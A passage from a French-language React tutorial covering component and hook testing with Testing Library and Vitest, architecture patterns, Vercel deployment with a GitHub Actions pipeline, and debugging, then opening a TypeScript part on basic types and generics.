      render(<TaskCard {...DEFAULT_PROPS} />);
      expect(screen.getByText('Implémenter l\'auth')).toBeInTheDocument();
    });

    it('affiche les tags', () => {
      render(<TaskCard {...DEFAULT_PROPS} />);
      expect(screen.getByText('#backend')).toBeInTheDocument();
      expect(screen.getByText('#security')).toBeInTheDocument();
    });

    it('affiche le nom de l\'assigné', () => {
      render(<TaskCard {...DEFAULT_PROPS} />);
      expect(screen.getByText('Alice Martin')).toBeInTheDocument();
    });

    it('le bouton Terminer appelle onComplete avec l\'id', async () => {
      const user = userEvent.setup();
      render(<TaskCard {...DEFAULT_PROPS} />);

      await user.click(screen.getByRole('button', { name: /terminer/i }));
      expect(DEFAULT_PROPS.onComplete).toHaveBeenCalledWith(1);
      expect(DEFAULT_PROPS.onComplete).toHaveBeenCalledTimes(1);
    });

    it('le bouton Supprimer appelle onDelete avec l\'id', async () => {
      const user = userEvent.setup();
      render(<TaskCard {...DEFAULT_PROPS} />);

      await user.click(screen.getByRole('button', { name: /supprimer/i }));
      expect(DEFAULT_PROPS.onDelete).toHaveBeenCalledWith(1);
    });

    it('bouton Terminer désactivé si statut done', () => {
      render(
        <TaskCard
          {...DEFAULT_PROPS}
          task={{ ...MOCK_TASK, status: 'done' }}
        />
      );
      const btn = screen.getByRole('button', { name: /terminer/i });
      expect(btn).toBeDisabled();
    });

    it('a les bons attributs ARIA', () => {
      render(<TaskCard {...DEFAULT_PROPS} />);
      const article = screen.getByRole('article');
      expect(article).toHaveAttribute('aria-label', expect.stringContaining('Implémenter'));
    });
  });

TEST D'UN FORMULAIRE :

  // src/components/tasks/TaskForm/TaskForm.test.jsx
  import { render, screen, waitFor } from '@testing-library/react';
  import userEvent from '@testing-library/user-event';
  import TaskForm from './TaskForm';

  describe('TaskForm', () => {
    it('soumet le formulaire avec les valeurs correctes', async () => {
      const user = userEvent.setup();
      const onSubmit = vi.fn();
      render(<TaskForm onSubmit={onSubmit} onCancel={vi.fn()} />);

      await user.type(screen.getByLabelText(/titre/i), 'Ma nouvelle tâche');
      await user.selectOptions(screen.getByLabelText(/priorité/i), 'high');
      await user.click(screen.getByRole('button', { name: /créer/i }));

      await waitFor(() => {
        expect(onSubmit).toHaveBeenCalledWith(
          expect.objectContaining({
            title:    'Ma nouvelle tâche',
            priority: 'high',
            status:   'todo',
          })
        );
      });
    });

    it('affiche une erreur si le titre est vide', async () => {
      const user = userEvent.setup();
      render(<TaskForm onSubmit={vi.fn()} onCancel={vi.fn()} />);

      await user.click(screen.getByRole('button', { name: /créer/i }));

      expect(await screen.findByRole('alert')).toHaveTextContent(/obligatoire/i);
    });

    it('affiche les valeurs initiales en mode édition', () => {
      const task = { title: 'Tâche existante', priority: 'medium', status: 'todo' };
      render(<TaskForm initialData={task} onSubmit={vi.fn()} onCancel={vi.fn()} />);

      expect(screen.getByDisplayValue('Tâche existante')).toBeInTheDocument();
    });
  });

TEST D'UN CUSTOM HOOK :

  // src/hooks/useDebounce.test.js
  import { renderHook, act } from '@testing-library/react';
  import { vi } from 'vitest';
  import useDebounce from './useDebounce';

  describe('useDebounce', () => {
    beforeEach(() => { vi.useFakeTimers(); });
    afterEach(() => { vi.useRealTimers(); });

    it('retourne la valeur initiale immédiatement', () => {
      const { result } = renderHook(() => useDebounce('initial', 300));
      expect(result.current).toBe('initial');
    });

    it('ne met pas à jour avant le délai', () => {
      const { result, rerender } = renderHook(
        ({ value }) => useDebounce(value, 300),
        { initialProps: { value: 'initial' } }
      );

      rerender({ value: 'updated' });
      expect(result.current).toBe('initial');  // Pas encore mis à jour

      act(() => vi.advanceTimersByTime(299));
      expect(result.current).toBe('initial');  // Toujours pas
    });

    it('met à jour après le délai', () => {
      const { result, rerender } = renderHook(
        ({ value }) => useDebounce(value, 300),
        { initialProps: { value: 'initial' } }
      );

      rerender({ value: 'updated' });
      act(() => vi.advanceTimersByTime(300));
      expect(result.current).toBe('updated');  // Mis à jour !
    });
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
34.5 — MOCKING (SIMULER LES DÉPENDANCES)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { vi } from 'vitest';
  import { render, screen, waitFor } from '@testing-library/react';

  // Mock d'un module :
  vi.mock('../api/tasks.api', () => ({
    tasksApi: {
      getAll: vi.fn(),
      create: vi.fn(),
      delete: vi.fn(),
    },
  }));

  import { tasksApi } from '../api/tasks.api';

  describe('TasksPage', () => {
    it('affiche les tâches chargées depuis l\'API', async () => {
      const mockTasks = [
        { id: 1, title: 'Tâche API 1', status: 'todo', priority: 'high' },
        { id: 2, title: 'Tâche API 2', status: 'done', priority: 'low' },
      ];

      tasksApi.getAll.mockResolvedValue(mockTasks);

      render(<TasksPage />);

      // Pendant le chargement :
      expect(screen.getByRole('status')).toBeInTheDocument(); // Spinner

      // Après le chargement :
      await waitFor(() => {
        expect(screen.getByText('Tâche API 1')).toBeInTheDocument();
        expect(screen.getByText('Tâche API 2')).toBeInTheDocument();
      });
    });

    it('affiche un message d\'erreur si l\'API échoue', async () => {
      tasksApi.getAll.mockRejectedValue(new Error('Erreur réseau'));

      render(<TasksPage />);

      await waitFor(() => {
        expect(screen.getByText(/erreur réseau/i)).toBeInTheDocument();
      });
    });
  });


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 36 : ARCHITECTURE AVANCÉE — PATTERNS PRO
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
36.1 — CLEAN ARCHITECTURE POUR REACT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  COUCHES :
    UI Layer       -> Composants (pages, components)
    Application    -> Hooks, state management
    Domain         -> Business logic (utils, validators, schemas)
    Infrastructure -> API, localStorage, WebSocket

  RÈGLE : Les couches supérieures ne connaissent pas les couches inférieures.
          UI -> Application -> Domain (pas l'inverse)

  STRUCTURE FINALE TASKFLOW :
    src/
    ├── api/                  <- Infrastructure
    │   ├── axios.config.js   <- Instance Axios
    │   ├── tasks.api.js      <- Endpoints tâches
    │   └── auth.api.js       <- Endpoints auth
    ├── assets/
    ├── components/           <- UI Layer
    │   ├── common/           <- Design system
    │   │   ├── Button/
    │   │   ├── Input/
    │   │   ├── Modal/
    │   │   ├── Badge/
    │   │   ├── Avatar/
    │   │   ├── Spinner/
    │   │   ├── EmptyState/
    │   │   └── Toast/
    │   ├── layout/
    │   │   ├── AppLayout/
    │   │   ├── Header/
    │   │   ├── Sidebar/
    │   │   └── PageLayout/
    │   ├── guards/
    │   │   └── PrivateRoute/
    │   └── tasks/            <- Domain components
    │       ├── TaskCard/
    │       ├── TaskList/
    │       ├── TaskForm/
    │       ├── TaskFilter/
    │       └── TaskStats/
    ├── contexts/             <- Application Layer (global state)
    │   ├── AuthContext.jsx
    │   └── UIContext.jsx
    ├── hooks/                <- Application Layer (logic)
    │   ├── queries/          <- React Query hooks
    │   │   ├── useTasks.js
    │   │   └── useTask.js
    │   ├── useAuth.js        <- Alias vers useContext(AuthContext)
    │   ├── useDebounce.js
    │   ├── useToggle.js
    │   ├── useLocalStorage.js
    │   └── useWindowSize.js
    ├── pages/                <- UI Layer (route components)
    │   ├── LoginPage/
    │   ├── RegisterPage/
    │   ├── DashboardPage/
    │   ├── TasksPage/
    │   ├── TaskDetailPage/
    │   ├── SettingsPage/
    │   └── NotFoundPage/
    ├── schemas/              <- Domain Layer (validation)
    │   ├── task.schema.js
    │   └── auth.schema.js
    ├── store/                <- Application Layer (zustand)
    │   └── ui.store.js       <- State UI uniquement
    ├── styles/               <- Infrastructure
    │   ├── global.css
    │   ├── variables.css
    │   └── utilities.css
    ├── utils/                <- Domain Layer (pure functions)
    │   ├── task.utils.js
    │   ├── date.utils.js
    │   ├── format.utils.js
    │   └── validation.utils.js
    ├── constants/
    │   ├── task.constants.js
    │   └── routes.constants.js
    ├── types/                <- Domain Layer (JSDoc types)
    │   └── task.types.js
    ├── App.jsx
    └── main.jsx

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
36.2 — PATTERN COMPOUND COMPONENTS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les Compound Components permettent de créer des APIs composables et flexibles.

  // Card composable :
  function Card({ children, className = '' }) {
    return <div className={`card ${className}`}>{children}</div>;
  }
  Card.Header  = function CardHeader({ children }) {
    return <div className="card__header">{children}</div>;
  };
  Card.Body    = function CardBody({ children }) {
    return <div className="card__body">{children}</div>;
  };
  Card.Footer  = function CardFooter({ children }) {
    return <div className="card__footer">{children}</div>;
  };

  // Utilisation :
  <Card>
    <Card.Header>
      <h2>Statistiques</h2>
    </Card.Header>
    <Card.Body>
      <StatsGrid stats={stats} />
    </Card.Body>
    <Card.Footer>
      <Button>Voir tout</Button>
    </Card.Footer>
  </Card>

  // Menu dropdown composable :
  <Dropdown>
    <Dropdown.Trigger>
      <Button>Menu</Button>
    </Dropdown.Trigger>
    <Dropdown.Menu>
      <Dropdown.Item onClick={editTask}>Modifier</Dropdown.Item>
      <Dropdown.Item onClick={deleteTask} variant="danger">Supprimer</Dropdown.Item>
    </Dropdown.Menu>
  </Dropdown>


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 39 : DÉPLOIEMENT ET CI/CD
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
39.1 — BUILD PRODUCTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Build de production :
  npm run build
  # -> Génère /dist/ avec les fichiers optimisés

  # Vérifier localement :
  npm run preview
  # -> http://localhost:4173

  OPTIMISATIONS DE VITE EN PRODUCTION :
    • Minification du JS (esbuild)
    • Minification du CSS
    • Tree-shaking (suppression du code mort)
    • Code splitting automatique
    • Hash dans les noms de fichiers (cache-busting)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
39.2 — DÉPLOIEMENT SUR VERCEL (RECOMMANDÉ)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Méthode 1 : CLI
  npm install -g vercel
  vercel login
  vercel         # -> Déploie en preview
  vercel --prod  # -> Déploie en production

  # Méthode 2 : GitHub integration (recommandée)
  # 1. Pousser le code sur GitHub
  # 2. Aller sur vercel.com -> Import Project
  # 3. Sélectionner le repo -> Auto-configure Vite
  # 4. Ajouter les variables d'environnement
  # 5. Deploy !
  # -> Déploiement automatique à chaque push sur main

  # vercel.json — Configuration :
  {
    "buildCommand": "npm run build",
    "outputDirectory": "dist",
    "rewrites": [
      { "source": "/(.*)", "destination": "/index.html" }
    ]
  }
  # ^ CRUCIAL pour les SPA : toutes les routes -> index.html

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
39.3 — CI/CD AVEC GITHUB ACTIONS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # .github/workflows/ci.yml
  name: CI/CD TaskFlow

  on:
    push:
      branches: [main, develop]
    pull_request:
      branches: [main]

  jobs:
    test:
      name: Tests
      runs-on: ubuntu-latest

      steps:
        - name: Checkout
          uses: actions/checkout@v4

        - name: Setup Node.js
          uses: actions/setup-node@v4
          with:
            node-version: '20'
            cache: 'npm'

        - name: Install dependencies
          run: npm ci

        - name: Lint
          run: npm run lint

        - name: Type check
          run: npm run type-check

        - name: Tests unitaires
          run: npm run test:coverage

        - name: Upload coverage
          uses: codecov/codecov-action@v3

    build:
      name: Build
      runs-on: ubuntu-latest
      needs: test  # Attendre que les tests passent

      steps:
        - uses: actions/checkout@v4
        - uses: actions/setup-node@v4
          with: { node-version: '20', cache: 'npm' }
        - run: npm ci
        - name: Build
          run: npm run build
          env:
            VITE_API_URL: ${{ secrets.VITE_API_URL }}
        - name: Upload dist
          uses: actions/upload-artifact@v4
          with:
            name: dist
            path: dist/

    deploy:
      name: Deploy Production
      runs-on: ubuntu-latest
      needs: build
      if: github.ref == 'refs/heads/main'

      steps:
        - uses: actions/checkout@v4
        - name: Deploy to Vercel
          uses: amondnet/vercel-action@v25
          with:
            vercel-token: ${{ secrets.VERCEL_TOKEN }}
            vercel-org-id: ${{ secrets.VERCEL_ORG_ID }}
            vercel-project-id: ${{ secrets.VERCEL_PROJECT_ID }}
            vercel-args: '--prod'

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
39.4 — VARIABLES D'ENVIRONNEMENT EN PRODUCTION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # .env.development (committer, sans secrets)
  VITE_API_URL=http://localhost:3001/api
  VITE_APP_NAME=TaskFlow Dev

  # .env.production (ne PAS committer)
  VITE_API_URL=https://api.taskflow.app/api
  VITE_APP_NAME=TaskFlow

  # .env.local (JAMAIS committer — override local)
  VITE_API_URL=http://localhost:3001/api
  VITE_DEBUG=true

  # .gitignore (obligatoire)
  .env.local
  .env.production
  .env.*.local


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 40 : DEBUGGING ET REACT DEVTOOLS
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
40.1 — REACT DEVTOOLS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Extension navigateur : "React Developer Tools" (Chrome/Firefox)

  ONGLET COMPONENTS :
    • Arbre des composants React
    • Inspecter props et state de chaque composant
    • Modifier le state en temps réel (debug)
    • Voir les hooks et leur valeur
    • Localiser le fichier source d'un composant

  ONGLET PROFILER :
    • Enregistrer une session de renders
    • Voir quelle composant re-render et pourquoi
    • Mesurer le temps de render de chaque composant
    • Identifier les re-renders inutiles ("committed without any updates")

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
40.2 — DEBUGGING COURANT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  PROBLÈME : State ne met pas à jour l'UI
    1. Vérifier si setState est bien appelé (console.log)
    2. Vérifier qu'on ne mute pas directement (push, splice, assignment)
    3. Vérifier la référence (objet/array) = toujours créer nouveau

  PROBLÈME : Re-render infini
    1. useEffect avec dépendances incorrectes
    2. Objet/fonction créé dans le corps du composant en dépendance
    3. setState appelé dans useEffect sans condition de sortie

  PROBLÈME : État périmé (stale state)
    1. Utiliser la forme fonctionnelle : setX(prev => prev + 1)
    2. Vérifier les closures dans les event handlers

  PROBLÈME : "Objects are not valid as a React child"
    Essayer d'afficher un objet directement dans JSX
    Solution : {JSON.stringify(obj)} ou accéder à obj.property

  PROBLÈME : "Cannot read property of undefined"
    Afficher des données avant qu'elles soient chargées
    Solution : optional chaining (?.), vérifications conditionnelles

  OUTILS :
    console.log(), console.table(), console.group()
    debugger; (point d'arrêt dans le code)
    Breakpoints dans DevTools (Sources)
    Why Did You Render (npm i @welldone-software/why-did-you-render)


════════════════════════════════════════════════════════════════════════════════
EXERCICES PARTIE 7
════════════════════════════════════════════════════════════════════════════════

NIVEAU FACILE :
  EX-7.1 : Écrire 5 tests unitaires pour les fonctions de task.utils.js.
  EX-7.2 : Tester le composant Badge (tous les variants, aria-label).
  EX-7.3 : Configurer GitHub Actions pour lint + test automatique.

NIVEAU INTERMÉDIAIRE :
  EX-7.4 : Tester TaskForm (submit valide, erreurs validation, mode édition).
  EX-7.5 : Optimiser TaskList avec React.memo + useCallback.
           Mesurer avec React Profiler avant/après.
  EX-7.6 : Implémenter Code Splitting sur toutes les pages avec lazy + Suspense.

NIVEAU AVANCÉ :
  EX-7.7 : Implémenter virtual scroll pour une liste de 1000 tâches.
           Comparer performance sans/avec virtualisation.
  EX-7.8 : Test d'intégration : TasksPage complète (chargement API, CRUD, filtres).
  EX-7.9 : Pipeline CI/CD complet : lint -> test -> coverage -> build -> deploy Vercel.


════════════════════════════════════════════════════════════════════════════════
PROJET TASKFLOW V6 — CHECKLIST PRODUCTION
════════════════════════════════════════════════════════════════════════════════

FONCTIONNALITÉS :
  [OK] Authentification (login, register, logout, token refresh)
  [OK] Dashboard avec statistiques temps réel
  [OK] CRUD tâches complet (create, read, update, delete)
  [OK] Filtres, recherche, tri des tâches
  [OK] Sous-tâches
  [OK] Tags
  [OK] Assignation à des membres
  [OK] Dates d'échéance avec alertes
  [OK] Notifications (toast)
  [OK] Mode sombre/clair
  [OK] Responsive (mobile, tablet, desktop)

QUALITÉ :
  [OK] > 80% de couverture de tests
  [OK] Zéro erreur ESLint/TypeScript
  [OK] Accessibilité WCAG 2.1 AA
  [OK] Performance : Lighthouse > 90 (perf, a11y, best practices, SEO)
  [OK] Pas de memory leaks (cleanup de tous les effects)
  [OK] Gestion des erreurs (ErrorBoundary, états d'erreur)
  [OK] Loading states (Suspense, spinners)
  [OK] Empty states

INFRASTRUCTURE :
  [OK] Variables d'environnement proprement configurées
  [OK] Build de production optimisé (< 300kb gzippé)
  [OK] CI/CD GitHub Actions
  [OK] Déploiement Vercel avec preview par PR
  [OK] Monitoring d'erreurs (Sentry)


════════════════════════════════════════════════════════════════════════════════
RÉSUMÉ FINAL — REACT MASTER GUIDE
════════════════════════════════════════════════════════════════════════════════

PARTIE 1 -> Fondations Web (HTML, CSS, JS, ES6+, DOM)
PARTIE 2 -> Introduction React (Vite, Composants, JSX)
PARTIE 3 -> State & Événements (useState, forms, CRUD)
PARTIE 4 -> Hooks & Custom Hooks (useEffect, useMemo, custom hooks)
PARTIE 5 -> Routing & API & State Management (Router, Axios, Context, Zustand, RQ)
PARTIE 6 -> Formulaires & UI (RHF, Zod, Design System, a11y, animations)
PARTIE 7 -> Production (Performance, Tests, Architecture, Déploiement)

COMPÉTENCES ACQUISES :
  [OK] React 18 (toutes les APIs, hooks officiels)
  [OK] Architecture SPA professionnelle
  [OK] State management (local, global, server state)
  [OK] Routing avec React Router v6
  [OK] Communication API avec Axios + React Query
  [OK] Formulaires performants avec React Hook Form + Zod
  [OK] Design System accessible et responsive
  [OK] Tests (unitaires, intégration)
  [OK] Performance et optimisation
  [OK] Déploiement CI/CD
  [OK] Debugging professionnel

PROCHAINES ÉTAPES RECOMMANDÉES :
  -> TypeScript : typer toute l'application TaskFlow
  -> Next.js : SSR/SSG pour le SEO et les performances
  -> GraphQL + Apollo : alternative à REST
  -> React Native : app mobile avec la même base
  -> Storybook : documentation du Design System
  -> Playwright : tests E2E complets
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN DU REACT MASTER GUIDE — 7 PARTIES COMPLÈTES
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 8 : TYPESCRIPT AVEC REACT
================================================================================
VERSION 1.0 | CHAPITRES 41–46 | PROJET : TaskFlow TypeScript
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 41  ->  Pourquoi TypeScript ?
  CHAPITRE 42  ->  Types fondamentaux TypeScript
  CHAPITRE 43  ->  TypeScript dans les composants React
  CHAPITRE 44  ->  TypeScript avec les Hooks
  CHAPITRE 45  ->  TypeScript avec l'API et les données
  CHAPITRE 46  ->  Patterns TypeScript avancés pour React
  PROJET       ->  TaskFlow entièrement typé
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 41 : POURQUOI TYPESCRIPT ?
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
41.1 — JAVASCRIPT vs TYPESCRIPT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

TypeScript (TS) est un SUR-ENSEMBLE de JavaScript avec un système de types.
Tous les fichiers .js valides sont du TypeScript valide.
TS est compilé vers JS (le navigateur ne connaît pas TS).

PROBLÈME SANS TYPESCRIPT :

  // JavaScript — aucun avertissement du code suivant :
  function formatTask(task) {
    return task.title.toUpperCase();  // Crash si task est null !
  }

  formatTask(null);          // TypeError au runtime <- découvert trop tard
  formatTask({ titl: 'X' }); // Faute de frappe -> undefined silencieux

AVEC TYPESCRIPT :

  // TypeScript — erreurs détectées à la COMPILATION :
  function formatTask(task: Task): string {
    return task.title.toUpperCase();
  }

  formatTask(null);            // [X] Erreur : 'null' n'est pas assignable à 'Task'
  formatTask({ titl: 'X' });   // [X] Erreur : 'titl' n'existe pas sur 'Task'

AVANTAGES :
  [OK] Erreurs détectées à l'écriture (pas au runtime)
  [OK] Autocomplétion intelligente dans VS Code
  [OK] Refactoring sûr (renommer un champ -> toutes les utilisations)
  [OK] Documentation intégrée (le type IS la documentation)
  [OK] Onboarding plus rapide sur un projet inconnu
  [OK] Standard en entreprise (2024 : > 80% des projets React)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
41.2 — INSTALLATION DANS UN PROJET VITE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NOUVEAU PROJET :
  npm create vite@latest taskflow -- --template react-ts
  # Génère directement un projet avec TypeScript configuré

AJOUT SUR UN PROJET EXISTANT :
  npm install -D typescript @types/react @types/react-dom
  # Renommer les fichiers : App.jsx -> App.tsx, main.jsx -> main.tsx
  # Créer tsconfig.json (voir ci-dessous)

FICHIER tsconfig.json :
  {
    "compilerOptions": {
      "target":               "ES2020",
      "useDefineForClassFields": true,
      "lib":                  ["ES2020", "DOM", "DOM.Iterable"],
      "module":               "ESNext",
      "skipLibCheck":         true,
      "moduleResolution":     "bundler",
      "allowImportingTsExtensions": true,
      "resolveJsonModule":    true,
      "isolatedModules":      true,
      "noEmit":               true,
      "jsx":                  "react-jsx",
      "strict":               true,       // Active toutes les vérifications strictes
      "noUnusedLocals":       true,       // Variables non utilisées = erreur
      "noUnusedParameters":   true,       // Paramètres non utilisés = erreur
      "noFallthroughCasesInSwitch": true,
      "baseUrl":              ".",
      "paths": {
        "@/*":           ["./src/*"],
        "@components/*": ["./src/components/*"],
        "@hooks/*":      ["./src/hooks/*"],
        "@pages/*":      ["./src/pages/*"],
        "@utils/*":      ["./src/utils/*"],
        "@api/*":        ["./src/api/*"],
        "@types/*":      ["./src/types/*"]
      }
    },
    "include": ["src"],
    "references": [{ "path": "./tsconfig.node.json" }]
  }


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 42 : TYPES FONDAMENTAUX TYPESCRIPT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
42.1 — TYPES PRIMITIFS ET BASIQUES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Primitifs
  const title:    string  = 'Fix bug';
  const count:    number  = 42;
  const isActive: boolean = true;
  const nothing:  null    = null;
  const undef:    undefined = undefined;

  // Tableaux
  const tags:  string[]         = ['bug', 'ui'];
  const ids:   number[]         = [1, 2, 3];
  const mixed: Array<string>    = ['a', 'b'];    // Syntaxe alternative

  // Tuple (tableau de taille fixe avec types précis)
  const point:   [number, number]       = [10, 20];
  const entry:   [string, number]       = ['count', 42];

  // Union types (l'un OU l'autre)
  let status: 'todo' | 'in_progress' | 'done' | 'cancelled';
  let id:     number | string;
  let value:  string | null;

  // Any (à éviter ! Désactive le typage)
  let dangerous: any = 'anything goes';

  // Unknown (plus sûr que any — doit être vérifié avant utilisation)
  let userInput: unknown = getUserInput();
  if (typeof userInput === 'string') {
    console.log(userInput.toUpperCase());  // OK : on a vérifié le type
  }

  // Never (fonction qui ne retourne jamais)
  function throwError(message: string): never {
    throw new Error(message);
  }

  // Void (fonction sans valeur de retour significative)
  function logMessage(msg: string): void {
    console.log(msg);
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
42.2 — INTERFACES ET TYPES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // Interface — pour les objets et les classes
  interface User {
    id:        number;
    name:      string;
    email:     string;
    role:      'admin' | 'manager' | 'user';
    avatar?:   string;       // Champ optionnel (peut être undefined)
    readonly createdAt: Date; // Lecture seule (ne peut pas être modifié)
  }

  // Type alias — plus flexible (union, intersection, primitifs...)
  type Priority = 'low' | 'medium' | 'high' | 'critical';
  type Status   = 'todo' | 'in_progress' | 'done' | 'cancelled';
  type TaskId   = number;
  type Nullable<T> = T | null;

  // Quand utiliser interface vs type ?
  // interface -> pour les objets/classes (extensible avec extends)
  // type      -> pour les unions, intersections, alias de primitifs

  // Extension d'interface :
  interface BaseEntity {
    id:        number;
    createdAt: Date;
    updatedAt: Date;
  }

  interface Task extends BaseEntity {
    title:       string;
    description: string;
    status:      Status;
    priority:    Priority;
    dueDate:     Date | null;
    assignee:    User | null;
    tags:        string[];
    subtasks:    Subtask[];
    projectId:   number | null;
    estimatedHours: number | null;
    completedAt: Date | null;
  }

  interface Subtask {
    id:        number;
    title:     string;
    completed: boolean;
    taskId:    number;
  }

  // Intersection (combiner deux types) :
  type AdminUser = User & {
    permissions: string[];
    department:  string;
  };

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
42.3 — GENERICS (TYPES PARAMÉTRÉS)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les generics permettent d'écrire du code réutilisable avec des types variables.

  // Fonction générique :
  function identity<T>(value: T): T {
    return value;
  }
  const str  = identity<string>('hello');  // str: string
  const num  = identity(42);               // num: number (inféré)

  // Interface générique :
  interface ApiResponse<T> {
    data:    T;
    message: string;
    success: boolean;
    total?:  number;  // Pour les listes paginées
  }

  // Utilisation :
  type TasksResponse = ApiResponse<Task[]>;
  type UserResponse  = ApiResponse<User>;
  // -> Plus besoin de redéfinir la structure pour chaque type de réponse !

  // Generic avec contrainte :
  interface HasId { id: number; }

  function findById<T extends HasId>(items: T[], id: number): T | undefined {
    return items.find(item => item.id === id);
  }

  const task = findById<Task>(tasks, 42);   // task: Task | undefined
  const user = findById<User>(users, 1);    // user: User | undefined
  // findById ne peut être appelé qu'avec des types qui ont un 'id: number'

  // Utility Types intégrés (génériques standards de TS) :
  Partial<Task>            // Tous les champs deviennent optionnels
  Required<Task>           // Tous les champs deviennent obligatoires
  Readonly<Task>           // Tous les champs deviennent readonly
  Pick<Task, 'id'|'title'> // Sélectionner seulement certains champs
  Omit<Task, 'subtasks'>   // Exclure certains champs
  Record<string, number>   // Objet avec clés string et valeurs number
  Exclude<Status, 'done'>  // Union minus une valeur
  Extract<Status, 'todo'|'done'> // Garder seulement certaines valeurs

  // Exemples TaskFlow :
  type TaskFormData = Omit<Task, 'id' | 'createdAt' | 'updatedAt' | 'completedAt'>;
  type TaskUpdate   = Partial<Pick<Task, 'title'|'status'|'priority'|'dueDate'>>;
  type TaskPreview  = Pick<Task, 'id'|'title'|'status'|'priority'|'assignee'>;

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
42.4 — TYPE GUARDS ET NARROWING
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  // TS rétrécit (narrow) le type dans les blocs conditionnels :
  function processValue(val: string | number) {
    if (typeof val === 'string') {
      console.log(val.toUpperCase());  // val: string ici
    } else {
      console.log(val.toFixed(2));     // val: number ici
    }
  }

  // Type guard personnalisé :
  function isTask(obj: unknown): obj is Task {
    return (
      typeof obj === 'object' &&
      obj !== null &&
      'title' in obj &&
      'status' in obj &&
      'priority' in obj
    );
  }

  // Narrowing avec nullish :
